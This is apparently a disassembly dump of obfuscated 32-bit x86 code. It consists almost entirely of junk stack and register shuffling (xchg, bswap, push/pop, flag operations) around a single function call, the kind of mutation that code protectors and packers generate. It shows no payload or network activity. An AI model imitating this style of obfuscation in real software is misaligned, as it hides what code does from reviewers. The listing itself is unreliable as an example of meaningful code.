lea ebx, [edi + ebp]
pop si
xchg byte [esp + 9], al
bswap cx
bswap bx
mov ebp, 0x66fd0aeb
bswap ax
mov edi, 0x1aad7374
xchg byte [esp + 0x10], bl
lea ebp, [edi + 0xd1]
mov dword [esp + 0xa], edx
mov di, 0x660
xchg word [esp + 9], bp
mov eax, dword [esp + 0x15]
bswap ecx
popal
lea ebx, [esp - 0x5740]
lea edx, [eax + 0x48b]
mov edx, 0x47055a0e
mov ecx, dword [esp]
lea ecx, [esp + eax]
mov di, word [esp]
mov ax, 0x3c40
mov di, sp
mov dx, si
mov dh, 0x56
mov ax, word [esp]
mov ebp, eax
mov ecx, dword [esp]
pushfd
pop word [esp]
mov byte [esp], bl
mov byte [esp], ch
pop bp
sets cl
mov dl, 0xe0
setge dh
bswap edx
xchg dl, ch
pushal
push word [esp + 0xb]
bswap edi
mov ax, 0x43b7
pop dword [esp + 4]
mov eax, edi
mov eax, 0x453067e3
mov dword [esp + 0x18], ecx
lea esp, [esp + 2]
lea esp, [esp + 0x1c]
popal
push dx
mov word [esp], si
lea esp, [esp + 1]
lea esp, [esp]
push bp
mov byte [esp], bl
push word [esp]
push ebp
push dword [esp + 3]
lea esp, [esp + 0xb]
push word [esp]
lea esp, [esp + 4]
call fcn.10026fe8
push 0x43ad6d76
push 0x101250ec
jmp 0x1012501e
xchg bx, cx
add esp, 3
xchg word [esp], dx
push word [esp + 1]
mov word [esp + 1], sp
mov dx, bp
mov edx, dword [esp + 2]
xchg bl, al
push word [esp]
cmc
mov edi, eax
neg bp
mov ebx, eax
xchg word [esp + 2], bp
mov bh, bl
neg si
mov bl, ah
bswap bp
sub di, 0x2240
mov ebp, dword [esp + 2]
pop word [esp + 1]
mov word [esp], cx
add esp, 2
mov ecx, edi
not bp
pushal
cmc
mov byte [esp + 0xd], ch
mov ah, bl
lea ebx, [ebx + esi]
push word [esp + 0x19]
rol cx, 0xa
mov dword [esp + 9], esi
bswap eax
popal
bsf si, si
bswap ecx
bswap ecx
push dword [esp + 3]
xchg esi, edx
or cx, 0x5000
add esp, 3
xchg ah, dh
xchg bh, ch
bswap ebx
xchg esi, eax
cld
mov ecx, 0x29651784
lea ecx, [esi + ebp]
sub esp, 0xa
xchg word [esp + 7], dx
mov edi, edx
xchg byte [esp + 0xd], ch
pop ebx
add al, dh
bswap esi
mov bh, byte [esp + 0xa]
mov edx, dword [esp + 3]
add esp, 0
mov al, dh
mov di, 0x21b8
cmc
mov byte [esp], bl
xchg dword [esp + 6], ebx
neg dl
mov eax, dword [esp + 1]
pop dword [esp]
bswap di
stc
sub esp, 0x1c
pop cx
mov dh, byte [esp + 0xc]
popal
shl ax, 2
sbb bh, 0xf4
mov dx, word [esp]
lea esp, [esp]
neg edx
neg ax
sets al
sub esp, 0x18
bsr ebx, ebp
bts ecx, esi
cmc
ror ax, cl
mov edx, 0x67464e75
mov ah, bh
bts bx, si
not bx
sete dl
mov si, 0x378c
mov ch, 0xe4
bsf ax, dx
xchg dl, bl
xchg byte [esp + 6], ah
sub ax, 0x62a9
pushfd
mov ebx, esp
mov di, dx
mov cx, dx
pop cx
mov ch, bh
btc ebp, ebx
pop eax
not eax
mov di, word [esp + 0xd]
xchg word [esp + 0x10], dx
inc edi
mov edi, 0x52255244
pop word [esp + 7]
xchg si, ax
xchg dword [esp], ecx
bswap eax
pop word [esp + 9]
not cx
bswap edi
xchg byte [esp + 0xc], dl
pop ebp
mov eax, 0x2dfa3f57
xor di, 0x3188
mov byte [esp + 0xb], bh
xchg dword [esp + 9], edi
lea esp, [esp + 2]
pop ebx
xchg edx, ebx
mov ecx, dword [esp + 2]
mov ch, 0x69
shr si, cl
sbb edx, 0x6fba40af
mov byte [esp + 3], ch
mov cx, word [esp + 7]
mov di, bx
pushfd
pop cx
push word [esp + 2]
push dword [esp + 5]
stc
bswap edi
setp al
dec ecx
bt bx, sp
mov dx, 0x13ad
mov ebp, 0x8d43d27
mov ebx, dword [esp + 9]
inc cl
mov si, ax
mov bx, cx
mov cl, 0xf9
mov byte [esp + 6], dl
ror bl, 4
pop dword [esp + 8]
pop bp
push dword [esp + 3]
mov word [esp + 1], sp
dec ebp
bsr ax, cx
bswap eax
mov esi, dword [esp + 0xa]
mov ch, byte [esp + 2]
pop word [esp + 6]
mov cl, 0x5a
inc bh
rcr bl, cl
mov byte [esp + 0xa], dl
mov di, 0x571b
xchg word [esp + 8], dx
pop dword [esp + 1]
mov esi, esp
push word [esp + 1]
lea ebp, [esi + 0x461f]
push dword [esp + 0xa]
btr di, di
mov si, sp
mov edi, ebx
rcl dx, cl
mov byte [esp + 0xc], bl
pushfd
pushfd
inc al
add bh, 0x88
mov cl, byte [esp + 0xa]
push ecx
xor ah, dl
xchg ah, dl
mov dword [esp + 3], esp
xchg word [esp + 0xf], cx
xchg ecx, ebx
pushal
mov edi, 0x24b45718
mov ax, cx
mov word [esp + 0x2b], di
neg dl
push dword [esp + 0x31]
setge al
lea esp, [esp + 7]
pop word [esp + 0x2b]
mov word [esp + 0x1d], sp
rcl ebp, 0xc
mov edi, ebp
xchg dword [esp + 0x2d], eax
pop word [esp + 0x1d]
not ebx
popal
xchg ebx, esi
cmc
xchg byte [esp + 5], al
mov ebx, edx
pushal
pop word [esp + 0x20]
popal
mov cx, si
xchg dword [esp + 0xb], ecx
rcr bp, 7
neg dx
push dword [esp + 6]
lea edi, [edx + 0x16b9]
btr di, bp
xchg word [esp + 0xc], si
xchg dl, ah
pop bx
xchg dword [esp + 0xd], esi
pop ebx
mov ebx, dword [esp + 9]
mov byte [esp], ch
lea esp, [esp + 8]
mov bp, sp
push word [esp + 6]
pushal
setae bh
xchg bl, al
mov bx, word [esp + 0x14]
lea esp, [esp + 8]
popal
bswap si
not bp
setnp dh
xchg word [esp], ax
mov cx, 0x6935
xchg dh, bh
mov cl, dh
mov edi, esp
dec ebx
mov ecx, 0x167f2968
mov edi, 0x71650c9f
mov esi, dword [esp]
xchg word [esp], ax
neg bl
setge dh
sub esp, 9
mov dword [esp + 1], eax
mov byte [esp + 8], bl
push dword [esp + 6]
mov ax, cx
mov dword [esp], edi
btc bx, di
bswap dx
pop word [esp + 3]
mov edx, dword [esp]
not ebx
mov dword [esp + 2], edx
mov bx, dx
push dword [esp + 2]
xchg dx, bx
lea edx, [0x796966f5]
push dword [esp + 7]
lea esp, [esp + 0xa]
add esp, 2
xchg word [esp + 2], si
xchg dword [esp + 4], eax
clc
lea esi, [esp - 0x6c92]
lea esp, [esp + 3]
inc ah
mov di, word [esp]
xchg bp, di
rol esi, 0x15
mov ah, 9
xchg edx, edi
mov word [esp], bp
not edx
bsr cx, bx
mov ch, 3
setne ch
xchg bx, di
mov bl, byte [esp + 1]
xchg bx, ax
pop ebx
not dl
stc
lea ecx, [eax + ebp]
mov word [esp], dx
mov word [esp], dx
bswap cx
xchg byte [esp], dh
mov dx, word [esp + 1]
mov word [esp], ax
mov byte [esp], al
stc
setl bl
mov si, dx
mov bx, sp
mov ebp, 0x14777ef1
rcl edi, cl
sub esp, 0x12
not dh
clc
xchg edx, eax
lea esp, [esp + 0xe]
pop dx
xchg bl, bh
xchg dl, al
mov bl, 0x68
clc
xchg byte [esp + 2], cl
mov word [esp + 1], bx
xchg byte [esp + 2], dh
bswap dx
setnp bh
mov edx, 0x8f74f80
pop esi
mov ch, 0xb0
clc
btc ebp, esp
xchg bh, dl
mov bp, sp
mov ebx, dword [esp]
mov ebx, 0x4df1439b
mov al, 0xb0
mov ch, al
xchg dl, ah
mov ecx, esp
lea esi, [esp + 0x1aea3a19]
mov bx, 0x3fcd
xchg ebx, eax
setne bl
mov ah, 0xe8
pushfd
bswap esi
push word [esp + 2]
cld
mov word [esp + 1], bx
mov edi, dword [esp + 3]
xchg word [esp + 3], cx
xchg byte [esp], bh
mov edx, dword [esp + 5]
add esp, 5
pushfd
setle cl
xchg dword [esp], ecx
ror ebx, cl
xchg edi, eax
push ecx
sub esp, 5
mov bp, dx
bt dx, bp
sub esp, 0xd
setne ch
neg esi
xchg dword [esp + 0xc], ecx
bswap di
mov edi, dword [esp + 3]
lea esp, [esp + 0x14]
stc
clc
not eax
adc dx, 0x3cbb
btc edx, ebp
sub esp, 0xc
xchg byte [esp + 4], cl
xchg edx, eax
bswap dx
mov bp, word [esp + 0xc]
pop ebx
add esp, 5
neg esi
xchg di, dx
sub esp, 0x1c
mov bl, 0xc0
pop di
mov dword [esp + 0x1b], ebp
setno al
xchg word [esp + 0x1c], bx
mov dx, ax
pop dword [esp + 0x1a]
xchg word [esp + 0x12], ax
pop dword [esp + 0xe]
xchg ecx, esi
xchg dh, bl
bswap bx
mov di, word [esp + 0x16]
bsr ax, bp
mov byte [esp + 0xa], al
pop dword [esp + 1]
stc
neg ah
mov ch, byte [esp + 0x13]
mov word [esp + 9], cx
xchg bl, ch
mov bl, ah
mov word [esp + 8], dx
lea edx, [edi + 0x7d2]
mov eax, dword [esp + 0x17]
xchg si, ax
lea esp, [esp + 5]
mov bl, byte [esp + 0xb]
mov ebp, dword [esp + 0x11]
mov cl, bh
sub esp, 0x13
bswap di
not ah
lea edx, [ebx + ebp]
lea ebp, [edx - 0x72]
setp bh
not bx
lea eax, [0x7bcc1aa6]
xchg dword [esp + 0x1e], ebp
lea esi, [ecx + esi]
xchg word [esp + 0x19], cx
pop ebp
mov eax, 0x3aa56fe9
mov word [esp + 0x16], dx
xchg ecx, edx
xor dh, 0x98
bts ebx, ecx
bts dx, sp
push dword [esp + 0x16]
mov edi, esi
push dword [esp + 6]
bswap bp
xchg dword [esp + 0x1e], ebp
shr esi, cl
bswap ecx
not ecx
not bl
btr ebp, edx
neg al
xchg word [esp + 0xc], bx
xchg dword [esp + 0x20], ebp
mov dword [esp + 0x19], ebp
popal
and ah, dh
not dl
mov word [esp + 4], bp
clc
xchg dword [esp + 2], ecx
inc esi
mov edx, esp
stc
mov bp, dx
bswap eax
not di
clc
xchg cl, dh
xchg byte [esp + 7], ch
mov ecx, edi
xchg esi, edx
xor bp, si
mov ebp, 0x21233848
mov dl, byte [esp]
btc di, dx
pop di
inc bh
stc
pop ebx
lea eax, [ebx + ebp]
lea esp, [esp + 1]
bsf esi, ecx
lea esp, [esp + 1]
sub esp, 7
bt edi, esi
mov si, 0x63c3
inc ch
xor dl, 0x42
push dword [esp + 4]
lea esp, [esp + 9]
add esp, 2
mov ax, 0x616a
mov cx, word [esp + 1]
mov al, 0x78
mov si, 0x3a8d
xchg word [esp], bx
bt ebx, esi
mov bp, word [esp + 1]
mov si, sp
mov byte [esp], dl
mov edi, dword [esp]
xchg ecx, ebp
bswap dx
xchg byte [esp], cl
pop di
mov dh, ah
inc si
clc
xchg bh, dl
push esp
xchg dword [esp], ecx
xchg bp, dx
bswap eax
sbb bx, 0x6da0
mov eax, dword [esp]
lea edi, [edx + edx]
pop di
btc dx, dx
xchg word [esp], cx
push word [esp + 1]
pop eax
xchg bh, cl
lea edi, [eax + 0x4f99]
mov ebx, dword [esp]
mov dl, ch
xchg ecx, ebp
btc ax, si
add di, 0x60c4
mov ch, 0x2f
neg ecx
lea eax, [ecx + 0x856]
dec dl
mov ah, byte [esp]
pushfd
cmc
lea esp, [esp + 3]
mov edi, 0x22bb7e75
mov dh, 0x62
mov di, 0x1263
xchg si, dx
neg bx
dec edi
btc edx, ebp
lea ebx, [esp + esi]
mov edx, dword [esp]
bsr bx, bp
not cl
xchg bl, cl
mov eax, esp
bswap bx
mov byte [esp], ch
lea esp, [esp]
bsf ebp, ebx
clc
inc ecx
cld
xchg edi, ecx
mov bl, byte [esp]
not ebp
xchg dx, bx
mov dx, cx
xchg cl, al
bswap cx
mov ax, sp
cmp ah, bl
bswap di
lea esp, [esp]
add esp, 0
xchg cl, dl
xchg bp, ax
mov dh, 0x6b
push si
neg esi
and bx, cx
add bh, cl
mov bp, word [esp + 2]
lea esp, [esp + 2]
mov ch, dh
mov edx, 0x4fe715cf
mov si, 0x6db0
mov bx, cx
mov bx, di
xchg byte [esp], dl
xchg byte [esp], bh
bswap di
xchg dx, ax
mov dl, 0x41
sub esp, 0x1e
mov al, byte [esp + 2]
mov ecx, 0x5b5050e3
bswap bp
bsr bx, sp
xchg byte [esp + 0xc], dh
pop word [esp + 0x12]
push dword [esp + 0x19]
push word [esp]
bts bx, bp
bswap dx
mov ebp, 0x34d42ff1
bt bp, cx
mov esi, dword [esp + 0x1c]
bswap esi
mov si, bx
pop word [esp + 0xa]
pop dword [esp + 8]
dec ax
xchg si, dx
xchg dword [esp + 0x11], esi
lea edi, [0x1564239f]
mov byte [esp + 0x17], bh
dec ah
mov esi, ecx
mov ebp, esp
mov dh, byte [esp + 8]
add bl, 0xc1
pop dword [esp + 5]
xchg si, dx
mov byte [esp + 6], bh
lea esp, [esp + 0x13]
mov ah, bl
stc
bswap edi
bsf di, sp
mov bh, 2
sub esp, 4
mov dx, word [esp + 9]
not ebp
pushal
neg ebp
xchg ecx, ebp
mov word [esp + 7], bp
lea edi, [edx - 0x97]
pop dword [esp + 0x11]
mov bp, di
pop dword [esp + 0xb]
mov dh, byte [esp + 0xb]
xchg byte [esp + 0xd], dl
mov esi, dword [esp + 0x1a]
xchg word [esp + 0xf], si
push dword [esp + 0x1c]
xchg dword [esp + 6], ecx
xchg word [esp + 6], bp
xchg word [esp + 0xe], dx
neg ch
xchg dword [esp + 0x16], edx
popal
mov eax, ebx
mov dword [esp], ebp
pop ax
xchg word [esp], bx
mov cx, word [esp + 2]
pop word [esp]
mov ax, 0x4ecf
stc
bswap ebp
bsr bx, ax
mov ecx, dword [esp]
xchg word [esp], di
pop ax
not di
neg bl
mov si, word [esp]
lea esi, [esp + 0x77]
mov ebx, dword [esp]
mov ecx, dword [esp]
xchg ch, cl
sub esp, 0xf
xchg dx, si
add esp, 8
xchg dx, cx
bsf bx, bx
bswap esi
pop edi
mov al, ah
mov bp, di
mov word [esp], ax
mov ebp, esp
mov di, word [esp]
mov bp, word [esp + 2]
mov cx, word [esp + 2]
mov dx, 0x4e9b
mov edi, dword [esp]
mov bp, word [esp]
xchg edx, ecx
mov ebp, esi
neg si
mov cx, 0x66aa
lea ebx, [ebp + 0x329d1471]
bts dx, sp
push word [esp + 1]
xchg byte [esp + 2], dl
push word [esp + 1]
add esp, 5
sub esp, 0x13
mov dh, ah
not eax
bswap dx
bswap esi
btr ebx, ecx
mov word [esp + 1], cx
mov al, 0x3b
pop eax
xchg si, bp
cmc
xchg di, si
xchg dword [esp + 1], esi
cld
clc
mov dh, 0xe9
mov di, 0x2ece
xchg byte [esp + 9], ch
bswap bx
xchg byte [esp + 9], bl
bswap ecx
add esp, 0xe
mov ch, byte [esp + 2]
mov ch, 0x24
add esp, 1
bsf ebp, ecx
xchg si, ax
pushal
mov dx, sp
xchg word [esp + 0x13], dx
pop word [esp + 0xd]
mov byte [esp + 0x1c], ah
mov ah, byte [esp + 0x16]
pop edi
xchg word [esp + 3], ax
pop dword [esp + 0xf]
mov byte [esp + 9], ah
mov edi, dword [esp + 4]
xchg byte [esp + 6], ch
push word [esp + 8]
shl bx, cl
xchg edi, ebp
pushfd
xchg dx, ax
pop ebx
inc cl
bswap bx
xchg dword [esp + 0xb], ecx
not bl
bswap bx
and ecx, 0x736d2159
add esp, 0xb
inc al
push dword [esp + 0xd]
pop dword [esp + 6]
lea edi, [esp - 0x8b]
cmc
mov bx, bp
setle cl
xchg ecx, eax
sub esp, 0x12
pop word [esp + 0x13]
add esp, 0xa
mov bh, byte [esp + 1]
setae ah
xchg dh, bh
dec dh
mov al, cl
mov dh, 0x39
seto cl
mov byte [esp], ah
lea esi, [esi + ebp]
push dword [esp + 0x12]
mov dword [esp + 7], ebp
push word [esp + 0x17]
xchg si, di
mov bh, byte [esp + 6]
btc bx, di
cmc
mov cl, 0xb2
mov dh, 0x51
mov bp, ax
xchg dh, bh
mov word [esp + 0xe], di
lea ebx, [esi + 0xec]
lea eax, [ebx + edi]
shl edi, cl
mov dx, sp
mov dh, byte [esp]
neg al
mov ecx, 0x55457e73
bswap ax
lea esi, [esi - 0xaf]
pop word [esp + 0xe]
lea esp, [esp + 8]
lea esp, [esp + 0xd]
mov cl, 0x1e
mov bp, di
pop bp
xchg byte [esp], dh
lea eax, [esp + 0x70ed]
mov dx, si
neg ebx
mov esi, dword [esp]
bswap dx
not dh
mov di, word [esp + 1]
mov byte [esp], dh
bts bp, dx
shr bl, 4
bsf ecx, edx
sets dl
mov bp, word [esp + 1]
setg al
setb dh
neg si
xchg edx, ebp
pushal
mov byte [esp + 0x13], bl
mov dl, 0x48
bswap ecx
pop ecx
pop word [esp + 7]
dec dh
add esp, 0x11
not si
mov ch, cl
not ecx
xchg byte [esp + 6], ch
lea esp, [esp + 9]
bsr esi, edx
xchg di, ax
not al
xchg esi, eax
add esp, 1
mov eax, 0x13bc6791
mov cx, 0x6a74
pushal
pop word [esp + 0xc]
btc ecx, ecx
setne bh
mov eax, ecx
clc
mov ecx, edx
mov bx, bp
setnp al
lea esp, [esp + 0xb]
mov cl, 0xad
pop cx
mov edi, 0x17c40aa2
bsr ecx, ebp
pop dword [esp + 3]
mov bl, ah
mov ax, word [esp + 0xc]
mov eax, 0x1e8b391c
xchg esi, eax
mov cx, word [esp + 1]
inc cl
mov di, si
neg eax
shr edi, 0x1e
pop dx
mov ch, 0x2f
mov ah, 0x8e
pop ax
mov si, 0x547
pop ax
btr bp, dx
lea edi, [0x557677cb]
pop dword [esp]
xchg ah, ch
pop di
bswap edx
xchg byte [esp], cl
setnp dh
ror eax, 0xa
mov dh, dl
bswap eax
sub esp, 0x19
lea edi, [esp + 0x5292]
dec cl
shr ch, 0
lea esp, [esp + 0xd]
mov ebp, eax
neg edi
lea ecx, [esp + ecx]
sub esp, 8
lea edx, [edx - 0x3a]
bt cx, dx
xchg di, si
mov bh, 9
pop dword [esp]
mov ah, 0x31
not di
mov dl, byte [esp + 0xd]
lea ecx, [ebx - 0x62d6]
lea eax, [ebx + ebp]
shl ax, 0xb
shr ecx, 0x13
bsf ecx, esi
pop ecx
dec eax
xchg ebx, ecx
pop ebp
xchg edi, esi
inc esi
mov ebp, ebx
pop cx
lea esp, [esp + 5]
bsf dx, sp
mov cl, dl
xchg ch, al
mov cl, ah
not ch
xchg byte [esp + 1], bh
bsr edi, eax
mov word [esp], ax
mov cx, word [esp]
mov bp, bx
mov byte [esp], ch
mov byte [esp], al
sub esp, 0xa
lea ecx, [esp + 0x39]
xchg al, ch
mov dword [esp + 1], ecx
stc
push esi
xchg dword [esp + 1], ebx
neg dh
xchg bx, cx
mov di, 0x7ad4
pop word [esp + 0xb]
mov word [esp + 4], cx
bt ebp, eax
sub bx, 0x61d1
mov word [esp + 4], dx
mov ecx, 0x51f32f6a
push dword [esp + 0xa]
xchg ecx, edi
cld
mov dh, byte [esp + 3]
mov word [esp + 9], di
neg ch
push ax
btr bx, ax
pop word [esp + 0x10]
add esp, 0xb
xchg dword [esp], ecx
xchg bp, di
add eax, 0x5dce7258
mov ch, al
xchg di, bx
seto dh
add esp, 6
mov bp, 0x471e
sub esp, 0x14
pop ebp
xchg cx, bp
lea ebx, [ecx + 0x17d837c1]
lea edx, [ebx + 0x105b83]
pushal
pop dword [esp + 0xa]
mov al, ch
mov ebp, 0x76bf4e57
pop word [esp + 0xf]
inc ebp
bswap dx
mov dword [esp + 7], edx
pop word [esp + 8]
xchg byte [esp + 7], dl
mov ax, 0x7956
mov si, word [esp + 0x28]
popal
xchg word [esp + 5], di
mov si, 0x3aeb
xor dh, 0x95
setae al
clc
and ah, 0xd9
pop word [esp + 4]
lea ebx, [ebx - 0xb9]
push esi
setnp dl
rcr bp, 6
mov al, ch
mov ebp, edi
mov ch, byte [esp + 0xb]
mov byte [esp + 3], bh
mov edx, dword [esp + 6]
setge ah
pop word [esp + 7]
clc
pop dx
push dword [esp + 4]
btc cx, di
bsr eax, esi
mov byte [esp + 3], bl
setle al
push word [esp + 9]
mov dword [esp + 8], esi
not di
mov ax, dx
bswap edx
cld
bsf cx, ax
pop ebx
xchg byte [esp + 2], bl
push word [esp + 5]
push di
push word [esp + 2]
rol ebp, cl
shr bp, cl
xchg byte [esp + 8], ah
neg si
mov ecx, 0x4e290d15
mov edi, dword [esp + 9]
xchg word [esp + 1], dx
btr eax, esi
neg ebx
mov di, 0x12a8
mov dx, 0x5092
push ax
xchg byte [esp], dl
xchg dword [esp + 0xc], edx
bswap ax
pop word [esp + 2]
mov eax, 0x144d66c5
xchg bx, cx
mov esi, 0x18c34291
pushfd
xchg bh, ch
mov dh, byte [esp + 2]
setbe bl
sub esp, 0x15
xchg ecx, ebx
sub esp, 2
mov cl, 0xc5
sub esp, 0xb
mov ax, si
dec si
add esp, 0x2a
mov dx, si
mov dword [esp + 5], ebx
stc
mov eax, 0x56201aaf
mov dh, bl
xchg word [esp + 1], cx
mov dword [esp + 2], eax
mov bl, byte [esp + 7]
sub esp, 1
mov word [esp + 9], si
xchg byte [esp], dl
pop si
btr ebp, eax
mov esi, 0x15b50115
mov byte [esp + 3], cl
neg ah
cmc
mov dx, 0x4188
xchg dl, cl
btr cx, di
mov ah, dl
xchg ebx, edi
add esp, 1
mov ebx, dword [esp + 6]
mov dl, 0x6a
mov eax, dword [esp + 1]
pop dword [esp]
sub esp, 6
mov ah, 0xc2
xchg dword [esp + 2], edx
stc
xchg word [esp + 2], si
mov ebx, ecx
push dword [esp + 4]
inc ax
xchg byte [esp + 0xd], cl
mov dh, byte [esp + 0xa]
mov bp, 0x49ea
mov dh, 0xae
dec esi
xchg ebx, edi
mov dword [esp + 0xb], esp
xchg dl, ch
sub esp, 0xb
btr ebx, esi
mov word [esp + 6], bx
xchg dword [esp + 0xd], edx
not dh
sub esp, 0x1a
pop word [esp + 0x1b]
push dword [esp + 0x26]
xchg dword [esp + 0x23], edi
xchg word [esp], ax
pop dword [esp + 0x23]
mov cx, 0x7ed5
mov esi, dword [esp + 0x28]
popal
push word [esp + 3]
bswap ecx
rcr ecx, 4
mov byte [esp + 0xb], bh
add esp, 0xc
not ax
cmc
push word [esp + 7]
rcr edx, 0x13
lea ebx, [ecx - 0x72e6]
mov esi, ecx
mov esi, dword [esp + 5]
push word [esp + 4]
pop word [esp + 8]
pushfd
cmp dl, dl
xchg esi, eax
mov bx, word [esp + 9]
add esp, 0xc
inc esi
lea ebx, [ecx + 0x509b259d]
push eax
mov dh, ah
mov bh, 0x17
rol si, cl
xchg di, cx
xchg bx, ax
cmc
xchg byte [esp], dh
setnp dl
clc
mov dword [esp], ebx
xchg dword [esp], edi
setno bh
bsf ebx, edi
add esp, 0
bswap esi
mov dh, 0x33
xchg dh, dl
pop ecx
bswap eax
push word [esp + 2]
xchg ch, dh
bsf esi, ecx
mov edi, edx
lea esp, [esp + 2]
mov bl, dl
mov eax, 0x5d2830fd
xchg dl, ah
lea ebx, [ebx + 0x7482]
bswap edx
pushal
bt ebx, edi
pushal
push word [esp + 0x14]
mov bh, 0x26
bsf esi, eax
inc ebx
mov ebx, dword [esp + 0x39]
dec dx
bswap esi
push word [esp + 0x29]
xchg dword [esp + 0x15], edx
pop ebx
mov word [esp + 0x1c], ax
add esp, 0x3c
add esp, 4
mov ebx, 0x2f660615
mov word [esp], ax
lea edi, [0x3485050a]
xchg si, bx
cmc
xchg word [esp], di
mov cl, ch
cmc
bsf ebx, ecx
mov bp, word [esp + 1]
not cl
mov si, ax
mov ebx, dword [esp]
btr ebx, ebp
shl di, 0xe
bswap bp
pop si
mov dh, al
mov ax, 0x5ea1
rcr ax, 0xd
mov ch, 0xd7
mov byte [esp], ch
sub esp, 0x10
dec ah
mov ecx, 0xb107e11
xchg cl, ch
pop word [esp + 0xc]
mov ax, 0x1d09
pop dword [esp + 4]
pop cx
pop di
clc
mov bp, 0x568
xchg word [esp + 4], bx
not dx
sub ch, 0x1d
lea edi, [esp - 0x7bb3]
xchg dword [esp], ebx
sub di, bx
ror bl, cl
bts ebx, ebp
cmc
mov byte [esp], bl
xchg byte [esp + 2], dh
xchg byte [esp + 5], ah
mov edi, dword [esp + 4]
pop di
rcl cx, 8
xchg dword [esp], edi
pop edi
mov cx, dx
bsf bp, cx
mov ax, cx
mov dl, 0x73
bsf di, bp
mov dl, ah
xchg esi, ecx
bswap eax
dec di
setp dl
sub esp, 0x12
mov dx, bp
mov ecx, 0x7923733d
mov dh, bl
xchg dword [esp + 3], ecx
not cx
xchg word [esp + 8], di
lea eax, [ebx + ebp]
pop bp
push dword [esp + 4]
sub esp, 4
neg eax
setle ah
pop ebp
not bx
bsf dx, di
lea esp, [esp + 0x12]
neg bl
push ebp
sbb dx, ax
mov dx, sp
neg ebp
push word [esp + 2]
mov si, bx
mov cl, 0xd6
lea esp, [esp + 1]
push word [esp + 6]
mov ax, 0x781
neg ch
xchg byte [esp + 4], cl
xchg word [esp + 3], si
lea esp, [esp + 4]
stc
mov al, bh
btr ecx, esp
mov dword [esp], ecx
lea esp, [esp + 2]
setle ah
xchg bx, dx
shl bx, 1
bswap si
lea esp, [esp + 1]
lea esi, [eax + 0x9a]
mov word [esp], sp
mov ah, dl
xchg byte [esp + 1], dl
pop dx
neg dh
neg si
bsf si, sp
mov si, word [esp]
mov bl, dl
mov byte [esp], cl
mov ax, 0x3448
xchg ch, dh
neg bl
add esp, 0
lea eax, [eax + 0x2238]
mov ebx, 0x7bee0f99
lea ecx, [eax + 0xc]
btr ax, ax
xchg bp, di
dec esi
mov edi, 0x382a655b
bswap si
sub esp, 7
xchg bx, di
mov eax, dword [esp + 7]
xchg cl, bh
not ah
xchg word [esp + 1], dx
mov si, 0x6799
pop bx
mov ebp, 0x287514a8
mov edi, esi
sub esp, 0x1a
add esp, 0x14
xchg byte [esp + 0xa], dh
xchg word [esp], bp
pop word [esp + 5]
pop dword [esp]
lea edi, [esp + 0x6428]
push dword [esp + 5]
bsr bp, sp
inc edi
neg dl
mov byte [esp + 4], bl
mov bp, word [esp + 7]
mov byte [esp + 2], bh
push dword [esp + 8]
push di
mov bx, word [esp + 0xd]
mov ah, 0x99
rcr bp, cl
push dword [esp + 6]
xchg byte [esp + 1], bl
xchg bp, si
mov dword [esp + 3], edx
add esp, 5
mov eax, 0x54823cca
rol dx, 3
pushal
cld
xchg word [esp + 2], dx
mov bp, word [esp + 0x25]
bts cx, bx
mov edx, dword [esp + 0x14]
mov cx, bx
xchg byte [esp + 0x24], dl
popal
xchg ecx, ebp
xchg word [esp + 8], cx
push si
xchg byte [esp + 0xb], cl
lea ebp, [eax + 0x98]
xchg byte [esp + 5], ah
add esp, 0
xchg word [esp + 1], cx
pop ax
pushal
setge al
popal
pop ebp
mov word [esp + 3], si
pop word [esp + 4]
bswap eax
add al, dh
dec si
bsf cx, ax
xchg byte [esp], bh
bts bp, bp
sete ch
xchg dword [esp + 4], ebp
mov dl, 0x8b
push word [esp + 4]
pop bp
add esp, 6
cld
pop bp
not bl
xchg cl, ah
btr ebx, esi
bt eax, esp
mov bx, word [esp]
xchg byte [esp], al
mov ax, si
mov ebp, 0x16da3247
lea esp, [esp]
adc dh, dh
xchg ah, bl
mov eax, edx
bswap bp
lea edi, [edi + ebp]
xchg edi, eax
not di
setp bl
mov bl, byte [esp]
bswap esi
not eax
add esp, 0
xchg byte [esp], ch
mov ebx, dword [esp]
push si
xchg dl, ah
xchg word [esp], bp
adc bp, si
mov ebx, eax
xchg byte [esp + 1], ch
mov edi, esi
mov word [esp], cx
xchg edx, ebx
bswap dx
xchg word [esp], bx
lea esp, [esp + 1]
mov bx, 0x5773
sub esp, 0xd
mov word [esp + 0xa], si
mov dl, byte [esp + 0xd]
xchg word [esp + 9], si
mov ah, dh
pop word [esp + 8]
lea ebx, [ecx - 0xbb]
lea edx, [ebp + ebp]
mov cl, 0xf2
sub esp, 0x13
bt cx, si
push word [esp + 0x1e]
bt bp, cx
xchg dword [esp + 8], ebx
mov dword [esp + 0xa], ebp
bswap ecx
xchg esi, edx
cmc
mov ebp, ebx
mov si, 0x52dc
mov al, dh
xchg word [esp + 0x10], si
dec dx
bswap edi
clc
mov edx, eax
add esp, 0x21
lea edx, [ebp + ebp]
mov dh, ah
pushfd
pop word [esp]
mov bl, 0x6d
mov eax, dword [esp]
mov ah, byte [esp + 1]
setno al
bswap ebp
inc ch
mov bh, byte [esp + 1]
bt di, dx
sbb bp, 0x7779
setg ch
and di, dx
lea eax, [edx + 0x62]
cld
mov ebx, dword [esp]
lea eax, [ecx + edi]
xchg word [esp], dx
mov al, dl
ror esi, cl
mov al, 0x3e
xor edx, 0x70f52a45
push word [esp + 2]
mov word [esp + 2], bp
mov bx, word [esp]
mov bh, byte [esp]
mov edi, 0x7b5d4efe
sub cx, bp
mov edx, ecx
neg bl
push word [esp + 4]
xchg byte [esp + 5], ah
push dword [esp + 4]
btc ebx, edx
add esp, 5
xchg byte [esp], al
xchg byte [esp + 2], bl
xchg dword [esp], eax
mov dl, byte [esp + 5]
xchg byte [esp + 3], dh
mov eax, ebp
push dword [esp + 3]
xchg cx, ax
sub esp, 0xa
xchg si, di
pop dx
dec dh
neg ah
mov byte [esp + 4], dh
mov bh, byte [esp + 0xb]
xchg byte [esp + 0xc], dl
xchg dword [esp + 9], ebp
neg edx
mov si, dx
lea eax, [esp + edi]
mov edx, dword [esp + 5]
xchg al, dh
xchg esi, edx
not ebx
pop edx
bswap dx
xchg ah, dh
dec ah
pop dword [esp]
mov word [esp + 2], si
pop ebx
cmc
mov di, 0x5e10
mov byte [esp + 3], dh
pop di
setb bl
pop si
bswap eax
mov di, word [esp]
mov cx, 0x6775
mov bx, 0x7645
mov al, 0xb1
btc si, sp
mov ch, dh
mov eax, ebx
mov cl, dl
lea ebp, [0x5f164d6b]
mov ebx, 0x3dcc0c4d
mov word [esp], si
btr edi, ebx
inc eax
